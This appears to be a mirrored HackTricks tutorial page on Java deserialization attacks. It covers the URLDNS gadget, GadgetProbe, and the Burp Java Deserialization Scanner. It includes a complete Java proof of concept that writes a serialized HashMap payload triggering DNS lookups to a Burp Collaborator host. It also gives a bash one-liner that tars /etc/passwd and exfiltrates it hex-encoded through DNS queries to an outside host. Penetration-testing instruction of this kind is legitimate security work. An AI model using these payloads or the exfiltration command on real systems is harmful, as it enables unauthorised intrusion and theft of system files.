mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 01:24:50 +00:00
223 lines
12 KiB
Markdown
223 lines
12 KiB
Markdown
# Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
|
|
|
|
## Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## DNS request on deserialization
|
|
|
|
The class `java.net.URL` implements `Serializable`, this means that this class can be serialized.
|
|
|
|
```java
|
|
public final class URL implements java.io.Serializable {
|
|
```
|
|
|
|
This class have a **curious behaviour.** From the documentation: “**Two hosts are considered equivalent if both host names can be resolved into the same IP addresses**”.\
|
|
Then, every-time an URL object calls **any** of the **functions `equals`** or **`hashCode`** a **DNS request** to get the IP Address is going to be **sent**.
|
|
|
|
**Calling** the function **`hashCode`** **from** an **URL** object is fairly easy, it's enough to insert this object inside a `HashMap` that is going to be deserialized. This is because **at the end** of the **`readObject`** function from `HashMap` this code is executed:
|
|
|
|
```java
|
|
private void readObject(java.io.ObjectInputStream s)
|
|
throws IOException, ClassNotFoundException {
|
|
[ ... ]
|
|
for (int i = 0; i < mappings; i++) {
|
|
[ ... ]
|
|
putVal(hash(key), key, value, false, false);
|
|
}
|
|
```
|
|
|
|
It is **going** the **execute** `putVal` with every value inside the `HashMap`. But, more relevant is the call to `hash` with every value. This is the code of the `hash` function:
|
|
|
|
```java
|
|
static final int hash(Object key) {
|
|
int h;
|
|
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
|
}
|
|
```
|
|
|
|
As you can observe, **when deserializing** a **`HashMap`** the function `hash` is going to **be executed with every object** and **during** the **`hash`** execution **it's going to be executed `.hashCode()` of the object**. Therefore, if you **deserializes** a **`HashMap`** **containing** a **URL** object, the **URL object** will **execute** `.hashCode()`.
|
|
|
|
Now, lets take a look to the code of `URLObject.hashCode()` :
|
|
|
|
```java
|
|
public synchronized int hashCode() {
|
|
if (hashCode != -1)
|
|
return hashCode;
|
|
|
|
hashCode = handler.hashCode(this);
|
|
return hashCode;
|
|
```
|
|
|
|
As you can see, when a `URLObject` executes`.hashCode()` it is called `hashCode(this)`. A continuation you can see the code of this function:
|
|
|
|
```java
|
|
protected int hashCode(URL u) {
|
|
int h = 0;
|
|
|
|
// Generate the protocol part.
|
|
String protocol = u.getProtocol();
|
|
if (protocol != null)
|
|
h += protocol.hashCode();
|
|
|
|
// Generate the host part.
|
|
InetAddress addr = getHostAddress(u);
|
|
[ ... ]
|
|
```
|
|
|
|
You can see that a `getHostAddress` is executed to the domain, **launching a DNS query**.
|
|
|
|
Therefore, this class can be **abused** in order to **launch** a **DNS query** to **demonstrate** that **deserialization** is possible, or even to **exfiltrate information** (you can append as subdomain the output of a command execution).
|
|
|
|
### URLDNS payload code example
|
|
|
|
You can find the [URDNS payload code from ysoserial here](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). However, just for make it easier to understand how to code it I created my own PoC (based on the one from ysoserial):
|
|
|
|
```java
|
|
import java.io.File;
|
|
import java.io.FileInputStream;
|
|
import java.io.FileOutputStream;
|
|
import java.io.IOException;
|
|
import java.io.ObjectInputStream;
|
|
import java.io.ObjectOutputStream;
|
|
import java.lang.reflect.Field;
|
|
import java.net.InetAddress;
|
|
import java.net.URLConnection;
|
|
import java.net.URLStreamHandler;
|
|
import java.util.HashMap;
|
|
import java.net.URL;
|
|
|
|
public class URLDNS {
|
|
public static void GeneratePayload(Object instance, String file)
|
|
throws Exception {
|
|
//Serialize the constructed payload and write it to the file
|
|
File f = new File(file);
|
|
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
|
|
out.writeObject(instance);
|
|
out.flush();
|
|
out.close();
|
|
}
|
|
public static void payloadTest(String file) throws Exception {
|
|
//Read the written payload and deserialize it
|
|
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
|
|
Object obj = in.readObject();
|
|
System.out.println(obj);
|
|
in.close();
|
|
}
|
|
|
|
public static void main(final String[] args) throws Exception {
|
|
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
|
|
HashMap ht = new HashMap(); // HashMap that will contain the URL
|
|
URLStreamHandler handler = new SilentURLStreamHandler();
|
|
URL u = new URL(null, url, handler); // URL to use as the Key
|
|
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
|
|
|
|
// During the put above, the URL's hashCode is calculated and cached.
|
|
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
|
|
final Field field = u.getClass().getDeclaredField("hashCode");
|
|
field.setAccessible(true);
|
|
field.set(u, -1);
|
|
|
|
//Test the payloads
|
|
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
|
|
}
|
|
}
|
|
|
|
|
|
class SilentURLStreamHandler extends URLStreamHandler {
|
|
|
|
protected URLConnection openConnection(URL u) throws IOException {
|
|
return null;
|
|
}
|
|
|
|
protected synchronized InetAddress getHostAddress(URL u) {
|
|
return null;
|
|
}
|
|
}
|
|
```
|
|
|
|
### More information
|
|
|
|
* [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
|
|
* In the original idea thee commons collections payload was changed to perform a DNS query, this was less reliable that the proposed method, but this is the post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
|
|
|
## GadgetProbe
|
|
|
|
You can download [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) from the Burp Suite App Store (Extender).
|
|
|
|
**GadgetProbe** will try to figure out if some **Java classes exist** on the Java class of the server so you can know **if** it's **vulnerable** to some known exploit.
|
|
|
|
### How does it work
|
|
|
|
**GadgetProbe** will use the same **DNS payload of the previous section** but **before** running the DNS query it will **try to deserialize an arbitrary class**. If the **arbitrary class exists**, the **DNS query** will be **sent** and GadgProbe will note that this class exist. If the **DNS** request is **never sent**, this means that the **arbitrary class wasn't deserialized** successfully so either it's not present or it''s **not serializable/exploitable**.
|
|
|
|
Inside the github, [**GadgetProbe has some wordlists**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) with Java classes for being tested.
|
|
|
|
 (1) (1).gif>)
|
|
|
|
### More Information
|
|
|
|
* [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
|
|
|
|
## Java Deserialization Scanner
|
|
|
|
This scanner can be **download** from the Burp App Store (**Extender**).\
|
|
The **extension** has **passive** and active **capabilities**.
|
|
|
|
### Passive
|
|
|
|
By default it **checks passively** all the requests and responses sent **looking** for **Java serialized magic bytes** and will present a vulnerability warning if any is found:
|
|
|
|
.png>)
|
|
|
|
### Active
|
|
|
|
**Manual Testing**
|
|
|
|
You can select a request, right click and `Send request to DS - Manual Testing`.\
|
|
Then, inside the _Deserialization Scanner Tab_ --> _Manual testing tab_ you can select the **insertion point**. And **launch the testing** (Select the appropriate attack depending on the encoding used).
|
|
|
|
|
|
|
|
Even if this is called "Manual testing", it's pretty **automated**. It will automatically check if the **deserialization** is **vulnerable** to **any ysoserial payload** checking the libraries present on the web server and will highlight the ones vulnerable. In order to **check** for **vulnerable libraries** you can select to launch **Javas Sleeps**, **sleeps** via **CPU** consumption, or using **DNS** as it has previously being mentioned.
|
|
|
|
**Exploiting**
|
|
|
|
Once you have identified a vulnerable library you can send the request to the _Exploiting Tab_.\
|
|
I this tab you have to **select** the **injection point** again, an **write** the **vulnerable library** you want to create a payload for, and the **command**. Then, just press the appropriate **Attack** button.
|
|
|
|
.png>)
|
|
|
|
### Java Deserialization DNS Exfil information
|
|
|
|
Make your payload execute something like the following:
|
|
|
|
```bash
|
|
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
|
|
```
|
|
|
|
### More Information
|
|
|
|
* [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|